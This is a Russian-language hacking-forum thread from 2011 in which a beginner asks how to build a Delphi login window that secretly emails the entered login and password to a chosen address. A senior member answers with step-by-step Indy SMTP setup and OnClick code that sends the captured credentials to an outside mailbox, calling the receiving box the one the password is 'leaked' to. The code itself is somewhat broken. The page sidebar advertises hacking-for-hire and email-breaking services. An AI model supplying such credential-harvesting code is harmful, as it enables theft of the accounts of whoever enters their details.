Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Окно авторизации
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Программирование / Delphi & Pascal RSS подписка на сообщения с форума Subscribe


Новая тема Наиболее обсуждаемые темы Наиболее посещаемые темы
Поиск 
Период
Перейти

Просмотров - 3520
Окно авторизации
Добавить этот топик в закладки »
RSS-лента ответов »Subscribe
scisors


Novice
# | Сообщение добавлено 15.09.2011 14:18:43
Только начинаю программировать в Delphi. Можете помочь, подробно расписав как сделать так что бы при вводе в окне авторизации Логин и Пароль, и нажав Войти, Логин и Пароль отсылался на определнный mail.
Заранее благодарю
Сказать спасибо Ответить Цитировать

Virous




Gold Member
# | Сообщение добавлено 16.09.2011 18:24:02
Здравствуйте.
Все очень просто.
 
Создайте почтовый ящик. Письма будут отправляться с него. Далее я буду называть этот почтовый ящик "X". Почтовый ящик, куда должен быть слит пароль и логин я буду называть ящиком Y.
 
Создайте форму с кнопкой button1 и двумя текстовыми полями Edit1 и Edit2. И то и другое на вкладке "Standart" палитры компонентов.
 
Отчистите свойства Text у обоих Edit, а у Button1 в свойство Caption напишите "Войти". Доработайте дизайн программы так, как Вам нравится.
 
Далее перенесите на форму компонент idSMTP со вкладки Indy Clients палитры инструментов. Заполните его свойства следующим образом:
 
1)Port                         25
2)Host                         smtp.домен ящика X    (Например если мой ящик X - hackzone.yandex.ru, то я пишу "smtp.yandex.ru").
3)AuthenticationType           atLogin
4)Username                     Логин к ящику X
5)Password                     Пароль к ящику X
 
Теперь к программированию:
 
Создайте обработчик OnClick для кнопки "Войти". В нем напишите:
 
Delphi

var
Msg: TIdMessage;
begin
Msg.Subject:='тема сообщения';
Msg.Recipients.EMailAddresses:='Адрес ящика Y полностью';
Msg.From.Adress:='Адрес ящика X полностью';
Msg.Body.Text:='Логин:'+Edit1.Text+'; Пароль:'+Edit2.Text;
Msg.Date:=StrToDate('Дата отправки письма (может быть любой) в формате ДД:ММ:ГГГГ');
IdSMTP1.Connect;//Подключаемся к серверу
IdSMTP1.Send(MSG);//Отправляем письмо
IdSMTP.Disconnect;//Отключаемся
end;
 

 
Вот и все. Конечно моя министатья не учитывает ряд нюансов, таких как возникновение ошибок или совместимость со старыми версиями Delphi. Если Вас интересуют эти вопросы Вы можете обратиться ко мне через EMail: rgstalker7@gmail.com
 
Ахтунг! Собакирен мит зубен клац, клац! Зубен зи дойч!
Сказать спасибо Ответить Цитировать

scisors


Novice
# | Сообщение добавлено 05.10.2011 11:25:15
Огромное спасибо. Буду пробовать. Beerchug
Сказать спасибо Ответить Цитировать


Только зарегистрированные пользователи могут оставлять сообщения в форуме

Зарегистрироваться *** Авторизоваться

 Последние новости и статьи  Последние сообщения с форумов
  • WhatsApp уверяет пользователей, что Facebook не имеет доступа к и...
  • Однострочная команда в Windows 10 может повредить жесткий диск с ...
  • Кардерский форум Joker’s Stash объявил о закрытии
  • Релиз ядра Linux 5.9
  • Российские хакеры вооружились уязвимостью Zerologon
  • Тысячи приватных звонков американских заключенных оказались в отк...
  • Шифровальщик атаковал немецкую компанию Software AG
  • Злоумышленники используют службу Windows Error Reporting для бесф...
  • Microsoft предупредила о вымогателях, которые выдают себя за МВД ...
  • Инфостилер Valak ворует информацию из почтовых систем Microsoft E...

    Все новости... Все статьи... Прислать новость RSS
  • Взлом и безопасность / ICQ,AIM,YAHOO,QIP » Услуги Хакера @ Заказать взлом @ Нужен хакер@Alex89618506139
  • Взлом и безопасность / Программы » Услуги Хакера @ Заказать взлом @ Нужен хакер@Alex89618506139
  • Взлом и безопасность / Разное » Re: Помощь в скачивании платного файла
  • Взлом и безопасность / Разное » Помощь в скачивании платного файла
  • Разное / Куплю, приму в дар » куплю | ваш аккаунта | получение нового | описание внутри
  • Разное / Предложения работы » Специалиста
  • Downloads / Другое » Re: Нужна база емайл адресов юр. лиц
  • Downloads / Другое » Нужна база емайл адресов юр. лиц
  • Разное / Предложения работы » Нужен взлом mail и gmail почты
  • Взлом и безопасность / Разное » Re: Нужна помощь в скачивании файла

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}